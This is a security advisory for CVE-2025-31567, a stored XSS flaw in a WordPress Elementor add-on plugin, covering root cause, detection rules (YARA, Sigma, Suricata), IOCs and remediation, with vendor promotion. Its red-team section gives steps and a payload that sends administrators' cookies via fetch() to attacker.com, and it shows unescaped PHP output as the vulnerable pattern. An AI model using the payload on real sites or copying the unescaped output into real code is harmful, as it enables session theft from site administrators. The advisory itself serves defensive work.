CVE-2025-31567
Executive Summary
CVE-2025-31567 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the themesflat-addons-for-elementor WordPress plugin, developed by Themesflat. This plugin extends the Elementor page builder with additional widgets and features. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. When the injected content is rendered by other users (including administrators), the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is classified as Medium severity (CVSS 6.5) and is currently unpatched as of the latest version (2.3.1). No public proof-of-concept (PoC) or exploit code has been released, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level or higher)
- User Interaction: Required (Victim must view the injected content)
- Scope: Changed (Impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the widespread use of Elementor make this a credible threat for WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the themesflat-addons-for-elementor plugin, which provides custom widgets for the Elementor page builder. The plugin fails to properly sanitize and escape user input when rendering certain widget attributes or content fields. An attacker with contributor-level access (or higher) can inject malicious JavaScript code into a post or page using the vulnerable widget. When an administrator or other user views the affected page, the injected script executes in their browser context.
Root Cause: The plugin uses echo or print functions to output user-supplied data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and later rendered.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a post/page using a vulnerable themesflat widget.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a widget field. - The payload is stored in the WordPress database.
- When an administrator or other user views the post/page, the script executes.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (themesflat-addons-for-elementor/includes/widgets/class-widget.php):
<?php
// Vulnerable: Direct output without sanitization
echo '<div class="themesflat-widget">' . $instance['title'] . '</div>';
?>
Patched Code (Hypothetical):
<?php
// Patched: Use esc_html() to sanitize output
echo '<div class="themesflat-widget">' . esc_html( $instance['title'] ) . '</div>';
?>
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress installation with themesflat-addons-for-elementor <= 2.3.1
- Contributor-level account or higher
Steps:
- Log in to WordPress as a contributor.
- Create a new post or page.
- Add a themesflat widget (e.g., "Testimonial" or "Team Member").
- In a text field (e.g., "Name" or "Description"), inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the post.
- Wait for an administrator to view the post, or share the link with the target.
Expected Outcome: The administrator's session cookie is exfiltrated to the attacker's server.
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress logs for unusual post content containing
<script>tags. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Regularly audit user roles and restrict contributor-level access.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Lab Setup:
- Use a local WordPress instance with the vulnerable plugin.
- Install a security plugin (e.g., Wordfence) to simulate detection.
- Test with safe payloads (e.g.,
<script>alert('test')</script>).
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains containing cookie data.
- Unusual
Refererheaders pointing to WordPress admin pages.
Host IOCs:
- Presence of
<script>tags in WordPresswp_poststablepost_contentcolumn. - Modified plugin files in
/wp-content/plugins/themesflat-addons-for-elementor/.
- Presence of
File IOCs:
- Suspicious entries in WordPress debug log (
wp-content/debug.log). - Unexpected JavaScript files in uploads directory.
- Suspicious entries in WordPress debug log (
Detection Engineering
YARA Rule
rule CVE_2025_31567_Stored_XSS {
meta:
description = "Detects stored XSS payloads in themesflat-addons-for-elementor plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-31567"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_path = /themesflat-addons-for-elementor/
condition:
$plugin_path and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in themesflat-addons-for-elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via themesflat-addons-for-elementor plugin
author: Valters IT
logsource:
product: wordpress
service: application
detection:
selection:
post_content|contains: '<script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-31567 Stored XSS in themesflat-addons-for-elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict user roles – Only grant contributor access to trusted users.
- Implement a WAF – Use a web application firewall to block XSS payloads.
- Enable CSP – Add Content Security Policy headers to restrict script sources.
Long-Term Fix:
- Monitor the vendor's website for a patched version (>= 2.3.2).
- Apply the patch as soon as it becomes available.
- Conduct a security audit of all third-party plugins.
Workaround:
- Manually patch the plugin by adding
esc_html()orwp_kses_post()to all output functions in the plugin's widget files.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.